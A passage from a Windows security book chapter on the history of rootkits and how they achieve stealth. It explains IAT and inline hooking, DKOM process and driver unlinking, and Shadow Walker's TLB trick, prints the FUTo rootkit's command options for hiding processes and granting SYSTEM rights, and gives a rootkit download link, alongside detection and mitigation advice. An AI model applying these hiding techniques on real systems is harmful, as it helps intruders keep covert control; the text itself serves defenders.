Delphi, that emerged on the scene in \n2002. It was being continually developed and improved until an official 1.0 release in \nJanuary 2004, at which point the author started accepting payment for private versions \nof the rootkit. A copy of some versions of Hacker Defender (there were many, many \nversions) would invariably be configured to hide folders, processes, and network \nconnections on the victim machine. The folders that were hidden would be full of pirated \nsoftware, movies, and music (often before the movies were even released to theaters), \nand Hacker Defender conveniently allowed the hacking crew to lie to the administrator \nabout the amount of free space left on the drive (because often they would nearly fill the \ndrive up with .RAR files and .ISO images of various software programs and movies). \nThe processes that were being hidden were usually copies of Serv-U FTP or ioFTPD, \nwhich were very popular at the time for hosting warez sites configured to run as the \nSYSTEM account. The automated installation scripts (usually just simple batch files) that \nwould automate the installation of the backdoors, the FTP servers, and the rootkit were \nusually running in the context of the all-powerful SYSTEM account. The initial exploit \ntargeted a vulnerability in an operating system component running as SYSTEM, such as \nMS03-026, so the miscreants would have no problem hiding their malware in the System \nVolume Information folder—a special system folder hidden off the root of the C: drive \non default installations of Windows. This folder is configured by default, so that only the \nSYSTEM account has access. In addition to placing their malware in a difficult to reach \nfolder (many administrators might not know how to gain access to this folder), attackers \nwould usually place their malware in a directory structure that made use of reserved \nnames like NULL, COM1, and AUX, which can be challenging to remove. In fact, this \nbecame so common that support engineers at Microsoft wrote numerous Knowledge \nBase articles to explain to customers how to clean up folders with these reserved names. \nOver time, we started to notice a shift in the types of cases we encountered. We would \nstill get the hacking cases involving universities and various warez crews (COREiSO and \nso on), but every now and then we would get cases with private institutions, where \ncustom malware appeared to be in use. In other words, we would find rootkits that were \nnot so well known or common on these servers, and the goal of the malware was \ndefinitely to provide covert access without being detected. Interestingly, the way that \nthese customers usually became aware that something suspicious was happening with \ntheir servers was usually the same as with the other customers from years past: they \nwould either start to experience stability issues with their operating system (blue screens) \nthat needed to be debugged or the network administrators would detect suspicious \nflows to IP addresses to which the servers in question should not be talking.\nRegarding the blue screens, it turns out that the way in which most rootkits operate \nin the kernel makes them susceptible to a variety of bugs that can destabilize the operating \nsystem and cause it to crash in situations where the server has multiple CPUs or is under \nheavy load, or both! Oftentimes, code that may work fine on a developer’s single \nprocessor workstation doesn’t work so well when loaded onto a multiprocessor server \nthat is under heavy load. The types of servers and the types of institutions being targeted \nsignaled a shift: the attackers were now no longer interested in simply swapping movies, \n" }, { "page_number": 259, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n231\nmusic, and pirated software; they were increasingly going after the data and they didn’t \nwant to be noticed.\nIn 2002 and 2003, as Microsoft tackled the security problem by releasing a more \nsecure version of its server OS (Windows Server 2003) and started working on a more \nsecure version of their consumer OS (Windows XP SP2) and moving to a monthly patch \ncycle, the attackers started moving up the stack, looking for other ways to get their \nmalware and rootkits on to the system. With many users installing Windows XP SP2 and \nhaving personal firewalls built-in to their home routers, social engineering as a means to \nget malware installed, along with browser-based “drive-by” exploits, became more \ncommon.\nPossibly as a result of firewalls and automatic updates, and the general drying up of \nremote anonymous vulnerabilities targeting system services in Windows, in 2004 Internet \nExplorer exploits became increasingly popular as a method for getting malware (and \nsometimes rootkits) installed onto victims’ machines. By some estimates, IE users account \nfor 80 to 85 percentof all Internet browsing traffic, so an exploit that can install malware \nvia IE (with most users browsing the Web being logged in as administrators) is for all \npractical purposes as good as or better than the exploits that used to target system \nservices in the Windows 2000 days (Blaster, Nachi, and so on).\nIn 2004, a new way of achieving stealth was demonstrated at the Blackhat security \nconference when James Butler presented a talk on DKOM (Direct Kernel Object \nManipulation) and unveiled a new concept rootkit called FU that made use of this \ntechnique to hide user-mode processes by altering data objects in the kernel. The \ninteresting thing about the approach used by this rootkit is that it doesn’t rely on any \npersistent “hooks” or extra code injected into the kernel to achieve stealth. It should be \nnoted that DKOM is not limited to hiding processes. This technique can be used to hide \ndevice drivers and network ports, and it can even be used to elevate the privilege of \nthreads! In 2005 this rootkit was added to various bots (like Rbot), making detection and \nremoval even more challenging for the AV vendors, prompting many such as F-Secure to \ninvestigate creating official anti-rootkit tools like Blacklight.\nIn December 2005 Symantec published some startling findings in Virus Bulletin \nregarding the use of DKOM by malware found to be circulating in the wild. The fact that \nmalware was found in the wild using DKOM techniques wasn’t so startling, however. \nWhat was startling was that the malware wasn’t loading a device driver in order to \nmodify the kernel—it was operating entirely from user-mode and manipulating the \nkernel via \\Device\\PhysicalMemory. For more information on how this works and for a \ngood chart illustrating the use of rootkit technology in numerous malware families you \ncan read the report at www.symantec.com/avcenter/reference/when.malware.meets \n.rootkits.pdf\nIn late 2004 and early 2005, a rootkit known as Delprot began getting distributed via \nmalicious banner advertisements and websites that were hosting an exploit for an IE \nvulnerability. The rootkit was interesting because it was a kernel-mode rootkit that was \ndesigned to protect adware (iSearch toolbar/ISPro adware) that was dropped onto a \nvictim’s PC and prevent it from being detected and deleted (delprot.sys was the name of \nthe kernel device driver, delprot = delete protection?) by various anti-spyware applications. \nInterestingly, like a lot of kernel-mode rootkits, this one was unstable and would cause \n" }, { "page_number": 260, "text": "232 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nvarious machines to crash (blue screen) intermittently, which is how people (including \nMicrosoft) started to become aware of this rootkit. In 2005, David Aucsmith gave a \npresentation at WinHEC (the Windows Hardware Engineering Conference), where he \nshowed some alarming statistics about the number of blue screen crashes being caused by \nthis rootkit (upwards of 140,000 crashes by December 2004). In May 2005 the Microsoft \nMalicious Software Removal Tool (MSRT) had this rootkit and adware family added to \nthe list of malware that it cleans each month to provide relief to the affected customers.\nMany rootkits have the concept of a root process, which is a process that is immune from the \nrootkit’s filtering. A root process can see all the files and processes on a machine, even those being \nhidden. In the case of the Delprot.sys rootkit, the IE process (iexplore.exe) was a root process (as it \nneeded to be able to find the iSearchPro toolbar Browser Helper Objects), so it could “see” the files \non the file system. To remove this malware from a system, all you needed to do was use IE to browse \nthe file system (instead of Explorer.exe) to rename and/or remove the files.\nIn 2005 at the Blackhat conference in Las Vegas, yet another technique for achieving \nstealth was discussed and demonstrated. The approach was implemented in a concept \nrootkit dubbed Shadow Walker by the authors Sherri Sparks and James Butler. In this \npresentation, the authors state that most rootkit code and memory patches are sitting \nducks for signature-based virtual memory scans that know where to look, and they \nproposed a solution to this problem in the form of Shadow Walker. The authors realized \nthat by scanning virtual memory, it was rather easy to identify locations that had been \npatched or hooked. At Blackhat, they proposed a solution whereby after installing their \nown page fault handler, they could return different virtual memory addresses for the \nsame physical frame of memory depending upon whether an attempt was being made \nto read that memory or to execute it! As a result, the technique can be used to hide code \nmodifications made by malware from detection tools based on virtual memory scans.\nAlso in 2005, another milestone in achieving stealth on Windows NT–based operating \nsystems was achieved when researchers at eEye demonstrated a rootkit at Blackhat called \nBootroot. Bootroot was able to load from the Master Boot Record (MBR) of a floppy disk, \nCD, or hard drive and persist all the way through the Windows boot process. Imagine \nbeing able to walk up to a Windows NT–based machine, insert a CD into the CD-ROM \ndrive, press the power button to restart the computer, and as soon as the BIOS attempts \nto boot off of the CD (by reading the CD’s MBR), the damage has been done and the \noperating system has now had a rootkit installed by the time you see CTRL-ALT-DELETE to \nlog in. This technique was further refined by other researchers in late 2006–2007 and \nmade to work on prerelease versions of the 32-bit Windows Vista operating system via \nthe Bootroot rootkit.\nAt the time of this writing, Bootroot can be mitigated by employing BitLocker Drive Encryption (BDE) \non Windows Vista. BDE verifies the integrity of key files and data structures required during the \nWindows boot process and will abort the boot process if tampering is suspected. However, we should \nkeep in mind that BDE was designed to mitigate the threat of data theft or information disclosure from \nstolen or lost systems by preventing data access from an alternative operating system. Therefore, it \nshould not be concluded that BDE is intended to address all rootkit scenarios in Windows.\n" }, { "page_number": 261, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n233\nThe year 2005 was certainly an explosive one for rootkits, both in terms of growth and \nsophistication, and in late 2005, the term rootkit could be considered to have gone mainstream \nfor the very first time after it was discovered and widely reported by various media outlets \nthat Sony BMG was distributing a rootkit developed by a company called First 4 Internet \nLtd. on some of its audio CDs to enforce a form of Digital Rights Management (DRM). The \nrootkit was discovered by Mark Russinovich after he developed a rootkit detection tool \ncalled Rootkit Revealer. Sony eventually pulled the CDs from the retail channel and the \nSony rootkit was added to the list of rootkits that would be removed by the MSRT.\nThe year 2006 saw an increase in phishing attacks targeting all manner of institutions, \nwith the goal of tricking users into typing their personal information into bogus websites \nset up to look like legitimate financial institutions. Some of the attacks went even further \nthan tricking users into revealing their financial information and tried to convince people \nto install a new class of malicious software known as banking Trojans, many of which are \nnow using stealth techniques to make detection and removal more difficult.\nIn 2006, noted security researcher Joanna Rutkowska presented at various security \nconferences a proof-of-concept rootkit dubbed Blue Pill that made use of hardware \nvirtualization extensions found in modern AMD CPUs. This rootkit essentially acted as \na hypervisor, or a piece of software that sits below the OS, allowing an attacker to \neffectively treat the installed OS as a virtual machine that could be manipulated by the \nrootkit at a lower level than what would normally be allowed on a CPU that did not \nsupport hardware-based virtualization.\nAt the time of this writing, most system BIOS manufacturers allow virtualization extensions to be enabled \nor disabled in the BIOS if the CPU supports this feature. If virtualization support is not needed for running \nvirtual machines in a product such as Virtual PC or VMWare, it should be disabled in the BIOS.\nAlso in 2006 a powerful new rootkit was found in the wild that gained some media \nattention. Symantec declared that it had found a new advanced rootkit it dubbed Rustock. \nRustock was undetectable by all of the rootkit detection tools that were available at the \ntime, making detection and removal next to impossible for all but the most advanced \nusers. Variants of Rustock targeted some of the most popular rootkit detection tools \n(Blacklight, Rootkit Revealer, IceSword, and GMER). But some of these detection tools \nare actively being updated with detection capabilities for new variants of Rustock and \nother rootkits. For example, GMER and BlackLight were both capable of detecting many \nvariants of Rustock. GMER evidently also was one of the few tools that could employ a \ncross-view–based approach to scan alternative data streams (it turned out that many \nrootkit detectors would not examine the contents of ADSs). The creators of Rustock \nseemed to be monitoring anti-rootkit tools capable of detecting it and security researchers \nspeaking out about it, and they took measures to prevent these tools from being used, by \nlaunching distributed denial of service (DDoS) attacks against the sites where information \non Rustock was posted and where GMER could be downloaded (possibly using machines \ninfected with the Rustock rootkit!). According to Joe Stewart’s blog, this rootkit is being \nused to hide and protect spambots and spam mass mailers that are generating money via \nscams such as stock “pump and dumps,” so it is likely the authors of Rustock are simply \ntrying to protect their revenue stream. It may also partially explain the increase in this \ntype of spam observed in 2006 and 2007.\n" }, { "page_number": 262, "text": "234 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAs advanced as Rustock is, newer rootkits like Unreal.A have already appeared on \nthe scene; its authors claim it uses more advanced techniques than Rustock to achieve \nstealth. The impact of this rootkit and its techniques remain to be seen. Interestingly, the \nauthors of this demo rootkit also produce a detection tool for it and other rootkits called \nRootkit Unhooker. The Unreal rootkit and the Rootkit Unhooker tool can be obtained at \nwww.rku.xell.ru/?l=e&a=dl.\nMany advanced kernel-mode rootkits install a device driver and can be detected by simply enabling \nboot logging, which can be enabled using msconfig.exe on all versions of Windows. This diagnostic \nmode of Windows requires a restart, but it creates a list of all of the drivers that get loaded to a file \ncalled ntbtlog.txt in the %SYSTEMROOT% folder. You could scan the ntbtlog.txt and compare the list \nof drivers that got loaded with what the OS actually thinks is loaded once it has finished booting—any \ndiscrepancies should be investigated!\nIn 2007, a pair of security researchers demonstrated a new bootkit at a security \nconference called Hack In The Box (HITB). This rootkit builds on the concept pioneered \nby eEye’s Bootroot rootkit discussed earlier, but it has some key differences. One big \ndifference is that this rootkit works on Vista (only the 32-bit version at the time of this \nwriting, and only prerelease builds), and the code that gets executed in the kernel doesn’t \nserve as a network backdoor; instead, it serves simply to elevate the privilege of CMD \n.EXE at a periodic interval. (To achieve this, the code in the kernel modifies special kernel \nstructures called EPROCESS blocks, which are kernel structures backing each user-mode \nprocess.) Another difference is that this rootkit doesn’t modify or alter the MBR of the \nprimary hard disk, so it is an example of a nonpersistent rootkit that leaves no disk-\nbased forensic evidence behind once the machine is rebooted (save for possibly any code \nthat happens to get paged out to the pagefile.sys). The steps to install and activate the \nrootkit are still the same as those for bootroot and probably other eventual bootkits based \non this technique—the attacker needs the ability to restart the victim’s machine and \nmake it boot off either a CD or a PXE device installed on the network.\nYou can attempt to mitigate these types of threats. Configuring a machine to boot only off of the hard \ndrive as the first boot device and then password-protecting access to the BIOS goes a long way \ntoward mitigating these attacks (imagine a co-worker in your office rebooting your machine from a CD \nwhile you are away getting coffee). However, there are well-known ways to get around BIOS passwords \nif physical access can be obtained for a longer period of time or if the attacker is willing to crack open \nthe case. Fortunately the System Integrity team at Microsoft working on Vista’s implementation of full \nvolume encryption (BitLocker Drive Encryption, or BDE) anticipated exactly these types of threats. As \na result, if you configure BDE on a machine that is equipped with a TPM 1.2 module, the BIOS and \nthe OS are able to work together to detect attempts at tampering with the boot process with the result \nbeing that the TPM 1.2 module will not give the OS access to the Volume Master Key (VMK) used to \ndecrypt the Full Volume Encryption Key, which is used to encrypt the volume, when it detects an \nattempt to interfere with the startup of the operating system. See “References and Further Reading” \nfor more detailed information on how machines equipped with a TPM 1.2 module, Vista, and BDE \nmitigate these attacks.\n" }, { "page_number": 263, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n235\nIn late 2006 and early 2007, a series of targeted attacks (sometimes referred to as spear\nphishing) involving malformed Microsoft Office documents were reported. When opened, \nthese documents would result in code of the attacker’s choice running in the context of \nthe logged-on user. If these malformed Office documents were opened by a victim logged \nin with Administrator rights, he or she would usually unknowingly install a backdoor \nand a rootkit on the system as soon as the document was opened. How many users, let \nalone IT administrators, would suspect that opening a simple Excel spreadsheet, \nPowerPoint presentation, or Word document they received via e-mail could result in the \nbox being completely compromised with sophisticated stealth software?\nAt the time of this writing, Microsoft had released 15 bulletins between the period of \nMarch 2006 and March 2007 affecting Office 2003 products, many of them rated with a \nseverity rating of important, and some of which had corresponding advisories released \nindicating that Microsoft was aware of limited targeted attacks being used that exploited \nsome new previously unknown vulnerability.\nThese attacks highlight the importance of least privilege. Much of the malware involved in these \nattacks requires administrative rights. Running as a standard user would have prevented many of the \ntechniques used by the malware to achieve persistence and stealth, which would have made detection \nand cleanup much easier for the affected user or first responders.\nACHIEVING STEALTH: MODERN TECHNIQUES\nIn this section, we attempt to enumerate and describe some of the most commonly used \ntechniques modern rootkits are using to achieve stealth on Windows. This discussion \ndoes not thoroughly document the myriad, near limitless methods that can be used to \nachieve stealth, as such a discussion would likely require an entire book or an ongoing \nseries of books.\nBefore discussing the ways in which rootkits achieve stealth, we need to cover \n“Windows Operating System Internals 101.” The information that follows is a high-level \noverview of how an application running in user mode interacts with the kernel, and it is \nintended to serve as a foundation on which to build a discussion of techniques used by \nvarious rootkits to achieve stealth. For a more comprehensive understanding of how \nWindows works “under the metal,” refer to Microsoft Windows Internals 4th Edition, by \nRussinovich and Solomon.\nWindows Internals\nIf you were to step back and think about the contents of your operating system’s address \nspace in both virtual and physical memory, you would probably be able to classify all of \nthe bytes in memory into one of two categories: data or code. Data refers to the bytes in \nmemory that are not intended to be executed. It refers to parts of memory that contain \neverything from key kernel data structures to the bytes in memory backing the contents \n" }, { "page_number": 264, "text": "236 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nof this Word document being typed. Data is typically contained in special regions of \nmemory usually referred to as a heap, stack, or pool. Code bytes contain the executable \nmachine code that your CPU is actually processing to perform work.\nModern Windows-based rootkits all achieve stealth by tampering with bytes in \nmemory to alter the way the operating system behaves or the way that it presents data \nto the user. Since these bytes fall into one of the two categories mentioned, you can think \nof rootkits that operate on either the code bytes or the data bytes (or possibly a combination \nof both). The act of modifying code bytes or data bytes is commonly referred to as patching\nmemory.\nWindows uses processor access modes to implement a separation between the operating \nsystem kernel and the applications running on top of the operating system. These two \nmodes of operation are referred to as user mode and kernel mode. You’ll often hear people \nreferring to ring 0, which is privilege level 0 on x86 CPUs. This is the privilege level of the \nCPU used by Windows when it is running in kernel mode. Ring 3 refers to privilege level \n3 on x86 CPUs, and as you might have guessed, this is where user mode applications \nsuch as Notepad, Internet Explorer, and your shell all run. When the CPU is operating at \nprivilege level 0 (kernel mode), it has access to all processor registers and all system \nmemory. When the CPU is operating at privilege level 3 (user mode) it allows access to \nmemory accessible only from user mode. Since code that is running “in the kernel” has \naccess to all CPU registers and all system memory, this makes it an attractive target for \nrootkit authors, and many consider rootkits that operate in kernel mode to be the most \npowerful and insidious types of threats.\nNow suppose you wanted to list all of the running processes on Windows. You would \nprobably use Task Manager to accomplish this. Task Manager runs in user mode but the \nlist of running processes is information that is tracked by code running in the kernel and \nstored in kernel data structures. So to obtain the list of running processes, Task Manager \ncalls a function exported by NTDLL.DLL named NTQuerySystemInformation. This \nfunction performs a transition into kernel mode by calling a small stub function after \nmoving the number of the kernel-mode service to call into a CPU register. The small stub \nfunction then uses the CPU’s syscall/sysenter instruction (or an INT 2E on older \nprocessors that don’t support the syscall/sysenter instruction) to perform the \ntransition into kernel-mode. In the kernel, a system service dispatcher routine receives \nthe call and looks up the address of the requested system service to call from a kernel \nstructure called the System Service Descriptor Table (SSDT). The SSDT contains descriptors \nthat are translated into the addresses in the kernel memory space where these kernel-\nmode functions can be found. The appropriate kernel-mode function (sometimes referred \nto the Windows Native API) is then called after being looked up and decoded in the SSDT. \nThis process is illustrated in Figure 8-1, which shows how a user-mode application \ntypically accesses files. In the figure, each arrow or box represents a place for a rootkit to \nalter the flow of execution and thus to subvert the normal execution of the operating \nsystem.\n" }, { "page_number": 265, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n237\nNow before a function like CreateFileW() can be called in KERNEL32.DLL, as \nshown in Figure 8-1, it must first be imported by an application, meaning that the DLL \nthat contains the function to be called must first be loaded into the application’s address \nspace in virtual memory and listed in a table called the Import Address Table. This \nrepresents another opportunity for a rootkit to subvert the normal flow of execution \nwithin a process not depicted in Figure 8-1.\nIn Figure 8-2 we see the normal flow of execution that occurs when code in a process \nattempts to call an imported function.\nFigure 8-1 File access, from user mode to kernel mode\n" }, { "page_number": 266, "text": "238 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nFigure 8-3 depicts how rootkit code injected into a process can interfere with the \nprocess of resolving imported functions to detour the flow of execution.\nAnother common method used for altering the flow of code execution in user mode \nis sometimes referred to as inline (function) patching or “inserting a trampoline.” In this \ntechnique, the rootkit actually patches, or modifies, the first few bytes of the function to \nbe detoured. This is usually done so that the rootkit is able to filter the data being returned \nby the function to, for example, remove a file from a list of files contained in a directory \nto hide it from the application attempting to list files.\nFigure 8-2 Normal Import Address Table lookup (no hooking)\n" }, { "page_number": 267, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n239\nFigure 8-4 shows the normal flow of execution as an application attempts to use the \nFindFirstFile()/FindNextFile() APIs exported by KERNEL32.DLL to list the \ncontents of a folder on the hard drive. These APIs end up calling the imported \nNtQueryDirectoryFile() function (from NTDLL.DLL), which then takes care of \ntransitioning to kernel mode.\nNow, because the NtQueryDirectoryFile API returns information about a file in \na folder, this would be a good API to hook if you wanted to ensure that files remain \nhidden from user-mode APIs that call it.\nFigure 8-3 Hooked Import Address Table lookup\n" }, { "page_number": 268, "text": "240 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nFigure 8-5 shows how Hacker Defender 1.0, a common user-mode rootkit, hides files \nby hooking the NtQueryDirectoryFile API.\nInline function patching and Import Address Table (IAT) hooks are arguably the \nmost common methods used by user-mode rootkits to achieve stealth. Now let’s have a \nlook at some of the techniques being used to subvert the kernel.\nDKOM\nTo help you understand how rootkits that make use of this technique work, a bit of \nbackground on how Windows works is needed. Windows user-mode processes are \nbacked by kernel-mode objects known as executive process (EPROCESS) blocks. An \nEPROCESS block is a structure in memory that contains information about a user-mode \nprocess. For example, an EPROCESS block for a process contains information about that \nprocess’s creation time, the token that the process is using, and a variety of other things. \nFigure 8-4 Listing fi les in a folder\n" }, { "page_number": 269, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n241\nThe EPROCESS structures for all the running processes are organized in a doubly-linked \nlist: each EPROCESS structure points to another structure (LIST_ENTRY), which contains \npointers to the next EPROCESS structure (FLINK) and the previous EPROCESS structure \n(BLINK). Once the rootkit code has located these pointers in a given LIST_ENTRY \nstructure, it’s a fairly trivial exercise to follow these pointers in a loop until you’ve \nidentified an EPROCESS structure that backs a process that you wish to hide or alter and \nto rearrange the forward and backward link pointers to unlink the target processes \nEPROCESS block. Figure 8-6 depicts the unlinking of the EPROCESS structure, \nhighlighted in the circle by changing the EPROCESS block to which its back (BLINK) \nand forward (FLINK) pointers point.\nFigure 8-5 Hiding fi les in a folder with an inline function patch\n" }, { "page_number": 270, "text": "242 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nYou might assume that after “orphaning” an EPROCESS block backing a user-mode \nprocess by manipulating the FLINK and BLINK pointers contained in its LIST_ENTRY \nstructure that the user-mode process would no longer run—but, in fact, it does! This is \nbecause Windows schedules a process’s threads for execution on a CPU, and it turns out \nthat a process’s threads continue to be scheduled even when the process’s EPROCESS \nblock is no longer in the doubly-linked list of running processes.\nThe FU rootkit is also able to hide drivers by applying a similar technique to the linked list of drivers in \nthe kernel, which can also be navigated and manipulated by following FLINK and BLINK pointers in \nLIST_ENTRY structures. After fixing up the pointers, the driver can unload and the file can even be \ndeleted from the disk, leaving very little forensic evidence.\nFigure 8-6 EPROCESS block structure\n" }, { "page_number": 271, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n243\nIn 2006, a revised version of FU called FUTo was announced by the authors in an \nonline journal on Uninformed.org. This version of FU could hide processes in a way that \nwould allow them to remain undetected by popular (at the time) rootkit detection tools \nsuch as Blacklight and IceSword. You can read more about FUTo at www.uninformed \n.org/?v=3&a=7&t=sumry. FUTo’s help is shown here:\nC:\\FUTo\\EXE>fu /?\nUsage: fu\n [-ph] #PID to hide the process with #PID\n [-phng] #PID to hide the process with #PID. The process must not have a GUI\n [-phd] DRIVER_NAME to hide the named driver\n [-pas] #PID to set the AUTH_ID to SYSTEM on process #PID\n [-prl] to list the available privileges\n [-prs] #PID #privilege_name to set privileges on process #PID\n [-pss] #PID #account_name to add #account_name SID to process #PID token\nFigure 8-7 shows a list of EPROCESS blocks, including one for NOTEPAD.EXE, as \nviewed from a kernel debugger.\nFigure 8-7 Notepad EPROCESS block listed in the kernel debugger\n" }, { "page_number": 272, "text": "244 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAfter running FUTo and using the -ph switch to hide the PID associated with \nNOTEPAD.EXE, we see that it is no longer enumerated by the debugger when using the \n!process 0 0 command to dump all EPROCESS blocks (Figure 8-8).\nTo learn more about the structures mentioned here refer to Chapter 6 in Microsoft Windows Internals, \n4th Edition. To learn more about how the FU rootkit modifies these structures, refer to Chapter 7 in \nRootkits: Subverting the Windows Kernel.\nFigure 8-9 shows NOTEPAD.EXE still visible in the background, while Task Manager \nin the foreground does not list the process!\nFigure 8-8 FUTo has successfully unlinked the NOTEPAD.EXE EPROCESS block\n" }, { "page_number": 273, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n245\nShadow Walker\nThe method used by this rootkit to lie about the contents of virtual memory depends on \nbeing able to decouple the data and instruction translation lookaside buffers (TLBs) \ncommon on modern processors, along with installing a new custom page fault handler. \nA TLB is a processor cache designed to speed up virtual to physical address translation. \nWhen you access a memory address in a Windows program, you are actually accessing \na virtual memory address located in a page of virtual memory. This address must then be \ntranslated to a frame of physical memory through a rather complicated process known as \naddress translation. The TLBs are a high-speed cache of these virtual to physical address \nmappings. Two TLBs are actually involved: one for pages of memory containing \nFigure 8-9 NOTEPAD.EXE visible in background, but invisible in Task Manager.\n" }, { "page_number": 274, "text": "246 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ninstructions (the ITLB) and one for pages of memory containing data (the DTLB). When \nreferencing memory that cannot be resolved via the TLB, a page fault occurs, which \ncauses the virtual memory manager to bring the page from the paging file into physical \nmemory.\nWhen Shadow Walker is installed, it immediately installs a new page fault handler \nand then flushes the TLBs, which forces all attempts to locate a page of virtual memory \nto go through the newly installed page fault handler. At that point, Shadow Walker code \nis able to intercept attempts to access all pages of memory (via the new page fault handler) \nand is then able to determine whether the attempt to access memory is being made to \nexecute the page of memory (to execute rootkit code, for example) or simply to read the \npage of memory (to scan the page of memory looking for rootkit code). If an attempt is \nbeing made to read a page of memory that the attacker wishes to hide (that is, a page that \nhas been hooked or a page that contains rootkit code), Shadow Walker could “fix up” the \nDTLB to have it return the “original” unhooked copy of the page of memory (or a garbage \npage of memory if an attempt is being made to read pages of memory containing the \nactual rootkit). If an attempt is being made to execute code in a page of memory that has \nbeen hooked or that belongs to the rootkit, Shadow Walker populates the ITLB with the \nappropriate frame of memory belonging to the rootkit, and the code is then executed. In \nessence, Shadow Walker makes use of split TLBs, meaning that different virtual memory \naddresses are returned for a given physical frame of memory depending on whether an \nattempt is being made to read that page or to execute it.\nDue to the methods used by this form of stealth, it is not possible for it to hide or lie about the pages \nof memory backing the newly installed page fault handler. Therefore, inspecting the operating systems \npage fault handler should be enough to detect this rootkit.\nFor more information on Shadow Walker, refer to Phrack 63: www.phrack.org/archives/63/p63-0x08_\nRaising_The_Bar_For_Windows_Rootkit_Detection.txt.\nANTIVIRUS SOFTWARE VS. ROOTKITS\nHistorically, antivirus software has not had a good track record when it comes to detecting \nand, more important, removing modern stealth software. An antivirus software is, after \nall, just another application installed on top of the operating system—an operating \nsystem the rootkit can control. As a result, the various AV vendors tend to fall into one of \nthree categories when it comes to detecting a particular stealth software:\n• It can neither detect nor remove stealth software once the stealth software is \nrunning. A good example of this is the Rustock rootkit that many AV vendors \nwere neither able to detect nor clean even in early 2007, many months after its \ndiscovery.\n" }, { "page_number": 275, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n247\n• It can detect but can’t remove the stealth software once it is running.\n• It can detect and can remove the stealth software once it is running. A good \nexample of this is the infamous Sony BMG First4Internet rootkit that is now \nable to be detected and removed by AV vendors and the Microsoft Malicious \nSoftware Removal Tool as well as many versions of the Hacker Defender rootkit.\nOftentimes, if the user is able to disable the rootkit (by stopping a hidden driver or \nrenaming the driver if it’s not hidden), the AV software may then be able to identify the \nvarious components involved in the intrusion and clean/remove them.\nSince rootkits can hide files only while they are active, one approach to detecting rootkits using \nsignature- or heuristic-based AV scanners is to mount the suspect drive from a known-good clean \noperating system and use antivirus software on this known-good image to scan the suspect volume \nwhile it is offline (that is, not booted into the OS installed on the volume). Another less reliable but \nprobably still effective approach would be to scan a suspected compromised machine across the \nnetwork by mapping its drives and scanning them from a known-good OS. A kernel-mode rootkit could \neasily filter the list of files and folders being sent to the remote OS, but user-mode rootkits like Hacker \nDefender and others will not be able to hide from remote file scans.\nWINDOWS VISTA VS. ROOTKITS\nWindows Vista offers many security and safety improvements that impact the ability of \nmodern rootkits to operate effectively, even if a user attempts to run them. Some of the \nsecurity features apply to both 32-bit and 64-bit versions of Vista, while other features \napply only to 64-bit versions of Vista.\nKernel Patch Protection (KPP): Patchguard\nIn 2006, as Microsoft was preparing to release Vista, several antivirus vendors voiced \nobjection to the planned inclusion of a key technology present in 64-bit versions, dubbed \nKernel Patch Protection (KPP). KPP is watchdog code, which was first introduced in 64-bit \nversions of Windows Server 2003 SP1 and 64-bit versions of Windows XP more than a \nyear earlier, with little fanfare. KPP code examines key kernel data structures and APIs \nfor signs of tampering and takes action if tampering is detected. (Scott Field, a kernel \nsecurity software architect at Microsoft, describes the common motives for patching the \nkernel and the results that can occur as a result of this in a blog post at http://blogs \n.msdn.com/windowsvistasecurity/archive/2006/08/11/695993.aspx.)\nIn short, KPP was developed to prevent software (both legitimate and malicious) \nfrom altering the kernel and intends to improve overall system security, stability, and \nreliability by encouraging application vendors to use supported and documented APIs \nand to prevent malware from using these techniques. When tampering is detected, KPP \n" }, { "page_number": 276, "text": "248 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ninitiates a bugcheck to bring down the operating system to alert the user and prevent the \nsoftware from taking further action. KPP is present only on x64 versions of Windows due \nto the “fresh start” afforded by this new architecture and the lack of legacy software that \nwould be affected by this new feature. Still, the inclusion of this technology in Vista was \nseen as a controversial move by some AV vendors who saw their existing software suites \ncatastrophically broken by this policy. These vendors believed that this technology would \nbe trivial for motivated attackers to circumvent, while preventing a plethora of legitimate \nAV/IDS and IPS software from functioning on this platform. One vendor, Athentium, \neven went so far as to write proof-of-concept code that demonstrated a technique for \nbypassing Patchguard—a technique that was subsequently blocked in the release version \nof Windows Vista.\nSince Vista’s release, Microsoft has committed to working with the AV and security \nproduct vendors to address their concerns and to help them work within the framework \nof KPP. Microsoft has also committed to responding to attempts to bypass or subvert \nKPP and will issue updates through Windows Update to improve the resiliency of this \ncode as needed.\nAt the time of this writing, we are not aware of any 64-bit rootkits for Windows Vista \n(with the exception of the Blue Pill hypervisor-based rootkit), nor of any ways to disable \nKPP successfully, although interesting research has been conducted in this area.\nFor a more detailed analysis of KPP and in-depth writeups of previous attempts to bypass its \nprotections, refer to the articles at www.uninformed.org.\nUAC: You’re About to Get 0wn3d, Cancel or Allow?\nIn Windows XP, the default account type created during setup was an Administrator \naccount. If you wanted to log in as a regular user on a day-to-day basis, you had to go \nout of your way to create a non-Administrator account. The result is that the vast majority \nof users run as Administrator at all times. Rootkits and most malware take full advantage \nof this situation to modify systemwide auto-start Registry settings (for persistence across \nreboots), inject malicious code into SYSTEM processes, place files in important folders, \nand perform other misdeeds.\nIn Windows Vista, the default account type created during setup is still Administrator, \nbut it’s a protected Administrator account—protected by User Account Control (UAC). \nWith UAC enabled (the default), when an Administrator logs in, she gets what amounts \nto a standard user token. This means that software launched with this type of token also \nruns with standard user rights. As a standard user, you can’t inject code into other \nprocesses at higher privilege or integrity level. You also can’t modify many systemwide \nRegistry settings in HKEY_LOCAL_MACHINE (HKLM), and you can’t write files to folders \nlike those under \\Windows or \\Program Files. And perhaps most importantly, you can’t \nload arbitrary device drivers into the kernel. When UAC is enabled, these actions all \nrequire elevation, which involves adding removed Administrator level privileges back to \nthe 